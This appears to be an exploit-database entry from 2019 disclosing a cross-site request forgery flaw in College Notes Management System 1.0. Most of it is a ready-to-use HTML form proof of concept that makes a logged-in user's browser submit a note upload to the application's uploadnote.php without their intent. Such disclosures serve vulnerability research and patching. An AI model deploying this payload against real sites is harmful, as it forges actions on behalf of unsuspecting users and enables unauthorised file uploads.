College Notes Management System 1.0 Cross Site Request Forgery Vulnerability

# Exploit Title: College Notes Management System 1.0 - CSRF (Add Note)
# Exploit Author: Mr Winst0n
# Author E-mail: [email protected]
# Vendor Homepage: https://anirbandutta.ml/
# Software Link: https://sourceforge.net/projects/college-notes-management/
# Software Link: https://github.com/anirbandutta9/College-Notes-Gallery
# Tested Version: 1.0
# Tested on: Parrot OS


# PoC:

<form role="form" action="http://localhost/[PATH]/dashboard/uploadnote.php" method="POST" enctype="multipart/form-data">

  <div class="form-group">
    <label for="post_title">Note Title</label>
    <input type="text" name="title" class="form-control" placeholder="Eg: Php Tutorial File" value="" required="">
  </div>

  <div class="form-group">
    <label for="post_tags">Short Note Description</label>
    <input type="text" name="description" class="form-control" placeholder="Eg: Php Tutorial File includes basic php programming ...." value="" required="" "="">
  </div>

   <div class="form-group">
        <label for="post_image">Select File</label><font color="brown"> (allowed file type: 'pdf','doc','ppt','txt','zip' | allowed maximum size: 30 mb ) </font>
    <input type="file" name="file"> 
     </div>

<button type="submit" name="upload" class="btn btn-primary" value="Upload Note">Upload Note</button><br><br>
</form>

#  0day.today [2019-12-04]  #